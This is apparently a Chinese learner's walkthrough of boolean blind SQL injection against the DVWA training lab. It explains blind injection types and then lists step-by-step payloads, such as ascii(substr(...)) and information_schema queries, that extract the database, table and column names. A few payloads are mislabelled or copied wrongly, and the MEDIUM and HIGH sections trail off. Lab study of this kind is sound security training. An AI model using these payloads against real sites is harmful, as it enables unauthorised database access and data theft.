目录
1. 基于错误的注入(Error-Based Injection)
2. 基于联合查询的注入(Union-Based Injection)
3. 基于布尔盲注(Boolean-Based Blind Injection)
4. 基于时间盲注(Time-Based Blind Injection)
5. 堆叠查询注入(Stacked Query Injection)
6. 盲注和时间盲注结合(Blind and Time-Based Blind Injection Combination)
SQL注入
利用方式
1. 基于错误的注入(Error-Based Injection)
2. 基于联合查询的注入(Union-Based Injection)
3. 基于布尔盲注(Boolean-Based Blind Injection)
4. 基于时间盲注(Time-Based Blind Injection)
5. 堆叠查询注入(Stacked Query Injection)
6. 盲注和时间盲注结合(Blind and Time-Based Blind Injection Combination)
盲注
概念
盲注就是在sql注入过程中,sql语句执行select之后,可能由于网站代码的限制或者apache等解析器配置了不回显数据,造成在select数据之后不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个判断的过程称之为盲注。
通俗的讲就是在前端页面没有显示位,不能返回sql语句执行错误的信息,输入正确和错误返回的信息都是一致的,这时候我们就需要使用页面的正常与不正常显示来进行sql注入。
分类
基于布尔的盲注
相较于显错注入,反应会更隐晦,比如当执行的恶意语句条件为False时(如and 1=2),页面会变得异常,如页面突然没了数据,当条件为True时,页面又会恢复正常。并不会看到像显错注入那样明显的语句回显,这样的注入,我们就可以规定为布尔盲注。
测试思路:通过构造真or假判断条件(数据库各项信息取值的大小比较, 如:字段个数,字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码…), 将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果 (True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注 响应从True<–>False发生变化的转折点。
基于时间的盲注
它比布尔盲注更加神秘,不管你输入什么,页面都还是那个页面,不会因为你的某些条件而发生变化,但这里,如果结合巧妙的语句,让其某些条件的达成,页面会晚一点回复数据,这样就是基于时间的盲注。
测试思路:通过构造真or假判断条件的sql语句, 且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求, 观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。
基于报错的盲注
即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中
测试思路:基本是在rand()函数作为group by的字段进行联用的时候会违反Mysql的约定而报错。rand()随机不确定性,使得group by会使用多次而报错。
流程
1.判断注入是否存在,注入类型
2.确认数据库名称
3.确认数据库中的表名
4.表中的字段名
5.表中的字段值
6.验证字段值的有效性
7.获取数据库的其他信息:版本、用户…
DVWA
LOW
1.判断注入类型
输入1',报错,说明存在注入
输入1 and 1=1,1and 1=2,1' and '1'='1,都显示成功
输入1' and '1'='2 报错,说明是字符型注入
查询返回的结果只有“exists”或者”missing”两种,说明存在SQL盲注。布尔盲注
2.确认数据库名称
猜解数据库名,首先要猜解数据库名的各个属性,然后挨个猜解字符。
数据库名称的属性:字符长度、字符组成的元素(字符/数字/下划线/…)元素的位置(首位/第一位/…/末位)
2.1.数据库名称长度
用1' and length(database())><=123.... # 尝试
1' and length(database())=4#显示正确
2.2数据库名称字符组成元素
需要用到ASCII表实现数字和字符的转换
语句1’ and ascii(substr(database(),1,1))><=123...#
substr函数 (俗称:字符截取函数)
格式1: substr(string string, int a, int b);
格式2:substr(string string, int a) ;格式1:
1、string 需要截取的字符串
2、a 截取字符串的开始位置(注:当a等于0或1时,都是从第一位开始截取)
3、b 要截取的字符串的长度格式2:
1、string 需要截取的字符串
2、a 可以理解为从第a个字符开始截取后面所有的字符串。
eg:1、select substr('HelloWorld',0,3) value from dual; //返回结果:Hel,截取从“H”开始3个字符
2、select substr('HelloWorld',1,3) value from dual; //返回结果:Hel,截取从“H”开始3个字符
3、select substr('HelloWorld',2,3) value from dual; //返回结果:ell,截取从“e”开始3个字符
ascii()函数:返回字符表达式最左端字符的 ASCII 代码值。
最后尝试出结果:
1’ and ascii(substr(database(),1,1))=100# 第一个是d
1’ and ascii(substr(database(),2,1))=118# 第二个是v
1’ and ascii(substr(database(),3,1))=119# 第三个是w
1’ and ascii(substr(database(),4,1))=97# 第四个是a
3.确认数据库表名
3.1表的数量
语句:1’ and (select count(table_name) from information_schema.tables where table_schema=database())<>=123...#
来源chatgpt
COUNT()函数是一种非常常用的聚合函数,用于计算行的数量。下面是几个使用COUNT()函数的例子,以及它们的解释:
计算表中的所有行数:
- 示例:计算名为"students"的表中的所有学生的数量。
SELECT COUNT(*) FROM students;
- 解释:这个查询使用COUNT(*)来计算"students"表中的所有行的数量。它不关心特定列,只是返回整个表的行数。
计算满足特定条件的行数:
- 示例:计算名为"orders"的表中已完成的订单数量。
SELECT COUNT(*) FROM orders WHERE status = 'completed';
- 解释:这个查询使用COUNT(*)来计算"orders"表中状态为'completed'的订单的数量。它只计算满足特定条件的行数。
计算唯一值的数量:
- 示例:计算名为"employees"的表中不同部门的数量。
SELECT COUNT(DISTINCT department) FROM employees;
- 解释:这个查询使用COUNT(DISTINCT department)来计算"employees"表中不同部门的数量。DISTINCT关键字确保只计算唯一值的数量。
计算与其他表的关联结果的行数:
- 示例:计算名为"customers"表中有关联订单的客户数量。
SELECT COUNT(DISTINCT customers.customer_id) FROM customers JOIN orders ON customers.customer_id = orders.customer_id;
- 解释:这个查询使用COUNT(DISTINCT customers.customer_id)来计算与名为"orders"的表关联的"customers"表中的客户数量。它计算的是在两个表之间建立的关联。
COUNT()函数是非常有用的,它可以用于汇总数据,回答有关数据集的问题,并帮助你了解数据库中的数据分布。
"information_schema.tables" 表是一个系统表,通常存在于支持SQL标准的关系型数据库管理系统中,如MySQL、PostgreSQL、SQL Server等。它包含了有关数据库中表的元数据信息,允许用户查询和了解数据库中存在的表的结构和属性。以下是关于 "information_schema.tables" 表的详细解释:
表结构信息: "information_schema.tables" 表存储了与数据库中的每个表相关的信息,包括表的名称、所属的数据库、表的类型(例如,基本表或视图)、表的引擎类型(针对MySQL等数据库),以及其他表级别的属性。
元数据信息:它还包含了一些关于表的元数据信息,如创建时间、更新时间、表的字符集和排序规则等。
权限信息: "information_schema.tables" 表还包含有关表的访问权限和安全性的信息,这些信息对于数据库管理员和安全管理人员非常有用。
系统信息:这个表通常用于管理和监控数据库的内部信息。例如,它可以帮助你了解哪些表存在、它们的大小、是否是临时表等。
SQL查询的依赖性:可以使用 "information_schema.tables" 表来查找某个表是否被其他表或视图引用,这对于检测数据库中的依赖关系非常有帮助。
数据库版本迁移和升级:在进行数据库迁移或升级时,可以使用 "information_schema.tables" 表来分析和比较不同数据库版本之间的表结构变化。
下面是一个示例查询,以查找数据库中的所有表的名称和其所属的数据库:
SELECT table_name, table_schema FROM information_schema.tables WHERE table_type = 'BASE TABLE';
这个查询会返回所有基本表的名称以及它们所属的数据库。表的元数据信息存储在 "information_schema" 数据库中,允许用户查看和理解数据库中表的结构和属性,以及执行元数据查询以获取关于数据库的信息。
table_name
和table_schema
是 "information_schema.tables" 表的两个列(字段)。
table_name
列包含了数据库中每个表的名称。它表示了数据库中的表的标识符,通常是用户定义的表名。
table_schema
列包含了每个表所属的数据库名称。它指定了数据库中的表所在的数据库。这是一个非常有用的列,因为它允许你知道每个表位于哪个数据库中。
最后结果1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 存在,表数量为2
3.2表名长度
语句分析:
1.查询列出当前连接数据库下的所有表名称
select table_name from information_schema.tables where table_schema=database()
2.列出当前连接数据库中的第1个表名称
select table_name from information_schema.tables where table_schema=database() limit 0,1
PS:limit 结果编号(从0开始),返回结果数量
LIMIT
是一个用于限制查询结果集大小的子句。具体来说,LIMIT
用于指定从查询结果集中返回的行的数量以及起始位置。在你的查询中,LIMIT 0,1
表示从查询结果的第一行开始,取一个行。这可以用于分页查询或仅获取结果集中的特定行。
3.计算当前连接数据库第1个表名的字符串长度值
length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))
4.将当前连接数据库第1个表名称长度与某个值比较作为判断条件,联合and逻辑构造特定的sql语句进行查询,根据查询返回结果猜解表名称的长度值
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>10 #
最后结果1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#,第一个表名长度为9
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5#,第二个表名长度为5
3.3表名
语句1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103#第一个表名第一个字符
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117#第二个表名第二个字符
结果:guestbook,users
4.表中的字段名
4.1字段数目
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)=8#
8个字段
4.2字段长度
1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))<>=123...#
4.3字段名字
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))<>=123...#
5.字段值
1.长度 2.字符
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))><=123...#
MEDIUM
和DVWA上一个sql注入做法一样的,用brup抓包修改id,然后一个个试,这次是数字型注入,重复的不想写了……
HIGH
步骤有什么区别……